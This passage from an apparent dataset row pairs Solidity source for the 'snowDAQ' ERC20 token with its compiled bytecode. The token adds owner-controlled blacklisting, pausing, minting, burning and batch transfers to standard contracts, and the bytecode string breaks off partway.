assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// @title ERC20Basic
// @dev Simpler version of ERC20 interface
// See https://github.com/ethereum/EIPs/issues/179
// ----------------------------------------------------------------------------
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// ----------------------------------------------------------------------------
// @title ERC20 interface
// @dev See https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// @title Basic token
// @dev Basic version of StandardToken, with no allowances.
// ----------------------------------------------------------------------------
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// ----------------------------------------------------------------------------
// @title Ownable
// ----------------------------------------------------------------------------
contract Ownable {
address public owner;
address public operator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() public {
owner = msg.sender;
operator = msg.sender;
}
modifier onlyOwner() { require(msg.sender == owner); _; }
modifier onlyOwnerOrOperator() { require(msg.sender == owner || msg.sender == operator); _; }
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function transferOperator(address _newOperator) external onlyOwner {
require(_newOperator != address(0));
emit OperatorTransferred(operator, _newOperator);
operator = _newOperator;
}
}
// ----------------------------------------------------------------------------
// @title BlackList
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract BlackList is Ownable {
event Lock(address indexed LockedAddress);
event Unlock(address indexed UnLockedAddress);
mapping( address => bool ) public blackList;
modifier CheckBlackList { require(blackList[msg.sender] != true); _; }
function SetLockAddress(address _lockAddress) external onlyOwnerOrOperator returns (bool) {
require(_lockAddress != address(0));
require(_lockAddress != owner);
require(blackList[_lockAddress] != true);
blackList[_lockAddress] = true;
emit Lock(_lockAddress);
return true;
}
function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool) {
require(blackList[_unlockAddress] != false);
blackList[_unlockAddress] = false;
emit Unlock(_unlockAddress);
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwnerOrOperator whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------
// @title Standard ERC20 token
// @dev Implementation of the basic standard token.
// https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
emit Approval(_from, msg.sender, allowed[_from][msg.sender]);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ----------------------------------------------------------------------------
// @title MultiTransfer Token
// @dev Only Admin
// ----------------------------------------------------------------------------
contract MultiTransferToken is StandardToken, Ownable, BlackList {
function MultiTransfer(address[] _to, uint256[] _amount) onlyOwner public returns (bool) {
require(_to.length == _amount.length);
uint256 ui;
uint256 amountSum = 0;
for (ui = 0; ui < _to.length; ui++) {
require(blackList[_to[ui]] != true);
require(_to[ui] != address(0));
amountSum = amountSum.add(_amount[ui]);
}
require(amountSum <= balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
balances[msg.sender] = balances[msg.sender].sub(_amount[ui]);
balances[_to[ui]] = balances[_to[ui]].add(_amount[ui]);
emit Transfer(msg.sender, _to[ui], _amount[ui]);
}
return true;
}
}
// ----------------------------------------------------------------------------
// @title Burnable Token
// @dev Token that can be irreversibly burned (destroyed).
// ----------------------------------------------------------------------------
contract BurnableToken is StandardToken, Ownable, BlackList {
event BurnAdminAmount(address indexed burner, uint256 value);
function burnAdminAmount(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit BurnAdminAmount(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
// ----------------------------------------------------------------------------
// @title Mintable token
// @dev Simple ERC20 Token example, with mintable token creation
// Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
// ----------------------------------------------------------------------------
contract MintableToken is StandardToken, Ownable, BlackList {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(blackList[_to] != true);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable token
// @dev StandardToken modified with pausable transfers.
// ----------------------------------------------------------------------------
contract PausableToken is StandardToken, Pausable, BlackList {
function transfer(address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
require(blackList[_to] != true);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
require(blackList[_from] != true);
require(blackList[_to] != true);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// ----------------------------------------------------------------------------
// @Project snowDAQ
// ----------------------------------------------------------------------------
contract snowDAQ is PausableToken, MintableToken, BurnableToken, MultiTransferToken {
string public name = "snowDAQ";
string public symbol = "SDC";
uint256 public decimals = 18;
} | 0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461015957806306fdde03146101885780630896937e14610218578063095ea7b3146102d957806318160ddd1461033e57806323b872dd1461036957806329605e77146103ee578063313ce567146104315780633f4ba83a1461045c57806340c10f19146104735780634838d165146104d8578063570ca735146105335780635c975abb1461058a57806366188463146105b957806370a082311461061e57806376227f3b146106755780637d64bcb4146106a25780638456cb59146106d15780638da5cb5b146106e857806395d89b411461073f578063a9059cbb146107cf578063c201df9714610834578063c286f3d91461088f578063d73dd623146108ea578063dd62ed3e1461094f578063f2fde38b146109c6575b600080fd5b34801561016557600080fd5b5061016e610a09565b604051808215151515815260200191505060405180910390f35b34801561019457600080fd5b5061019d610a1c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022457600080fd5b506102bf6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610aba565b604051808215151515815260200191505060405180910390f35b3480156102e557600080fd5b50610324600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec9565b604051808215151515815260200191505060405180910390f35b34801561034a57600080fd5b50610353610f59565b6040518082815260200191505060405180910390f35b34801561037557600080fd5b506103d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f63565b604051808215151515815260200191505060405180910390f35b3480156103fa57600080fd5b5061042f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110b5565b005b34801561043d57600080fd5b5061044661120d565b6040518082815260200191505060405180910390f35b34801561046857600080fd5b50610471611213565b005b34801561047f57600080fd5b506104be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d3565b604051808215151515815260200191505060405180910390f35b3480156104e457600080fd5b50610519600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611519565b604051808215151515815260200191505060405180910390f35b34801561053f57600080fd5b50610548611539565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059657600080fd5b5061059f61155f565b604051808215151515815260200191505060405180910390f35b3480156105c557600080fd5b50610604600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611572565b604051808215151515815260200191505060405180910390f35b34801561062a57600080fd5b5061065f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611602565b6040518082815260200191505060405180910390f35b34801561068157600080fd5b506106a06004803603810190808035906020019092919050505061164a565b005b3480156106ae57600080fd5b506106b7611858565b604051808215151515815260200191505060405180910390f35b3480156106dd57600080fd5b506106e6611920565b005b3480156106f457600080fd5b506106fd611a39565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074b57600080fd5b50610754611a5f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610794578082015181840152602081019050610779565b50505050905090810190601f1680156107c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107db57600080fd5b5061081a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611afd565b604051808215151515815260200191505060405180910390f35b34801561084057600080fd5b50610875600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bed565b604051808215151515815260200191505060405180910390f35b34801561089b57600080fd5b506108d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d4f565b604051808215151515815260200191505060405180910390f35b3480156108f657600080fd5b50610935600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fa2565b604051808215151515815260200191505060405180910390f35b34801561095b57600080fd5b506109b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612032565b6040518082815260200191505060405180910390f35b3480156109d257600080fd5b50610a07600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120b9565b005b600660009054906101000a900460ff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ab25780601f10610a8757610100808354040283529160200191610ab2565b820191906000526020600020905b815481529060010190602001808311610a9557829003601f168201915b505050505081565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1b57600080fd5b83518551141515610b2b57600080fd5b60009050600091505b8451821015610c405760011515600560008785815181101515610b5357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515610bb457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168583815181101515610bda57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515610c0757600080fd5b610c318483815181101515610c1857fe5b906020019060200201518261221190919063ffffffff16565b90508180600101925050610b34565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610c8d57600080fd5b600091505b8451821015610ebd57610d038483815181101515610cac57fe5b906020019060200201516000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc48483815181101515610d5657fe5b906020019060200201516000808886815181101515610d7157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221190919063ffffffff16565b6000808785815181101515610dd557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508482815181101515610e2b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8685815181101515610e9157fe5b906020019060200201516040518082815260200191505060405180910390a38180600101925050610c92565b60019250505092915050565b6000600460149054906101000a900460ff16151515610ee757600080fd5b60011515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515610f4757600080fd5b610f518383612248565b905092915050565b6000600154905090565b6000600460149054906101000a900460ff16151515610f8157600080fd5b60011515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515610fe157600080fd5b60011515600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561104157600080fd5b60011515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156110a157600080fd5b6110ac84848461233a565b90509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561114d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f74da04524d50c64947f5dd5381ef1a4dca5cba8ed1d816243f9e48aa0b5617ed60405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126f57600080fd5b600460149054906101000a900460ff16151561128a57600080fd5b6000600460146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133157600080fd5b600660009054906101000a900460ff1615151561134d57600080fd5b60011515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156113ad57600080fd5b6113c28260015461221190919063ffffffff16565b600181905550611419826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460149054906101000a900460ff1681565b6000600460149054906101000a900460ff1615151561159057600080fd5b60011515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156115f057600080fd5b6115fa83836127d5565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116a657600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156116f357600080fd5b611744816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179b8160015461222f90919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fa0f3dea10c8bf26d7f1b6b0cf33166195f48616c562c681b49eaaa2423894d00826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118b657600080fd5b600660009054906101000a900460ff161515156118d257600080fd5b6001600660006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119c95750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156119d457600080fd5b600460149054906101000a900460ff161515156119f057600080fd5b6001600460146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611af55780601f10611aca57610100808354040283529160200191611af5565b820191906000526020600020905b815481529060010190602001808311611ad857829003601f168201915b505050505081565b6000600460149054906101000a900460ff16151515611b1b57600080fd5b60011515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515611b7b57600080fd5b60011515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515611bdb57600080fd5b611be58383612a66565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c4b57600080fd5b60001515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515611cab57600080fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f0be774851955c26a1d6a32b13b020663a069006b4a3b643ff0b809d31826057260405160405180910390a260019050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611dfa5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611e0557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e4157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e9e57600080fd5b60011515600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515611efe57600080fd5b6001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fc1b5f12cea7c200ad495a43bf2d4c7ba1a753343c06c339093937849de84d91360405160405180910390a260019050919050565b6000600460149054906101000a900460ff16151515611fc057600080fd5b60011515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561202057600080fd5b61202a8383612c85565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561211557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561215157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015151561222557fe5b8091505092915050565b600082821115151561223d57fe5b818303905092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561237757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156123c457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561244f57600080fd5b6124a0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612533826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156128e6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297a565b6128f9838261222f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612aa357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612af057600080fd5b612b41826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bd4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000612d1682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001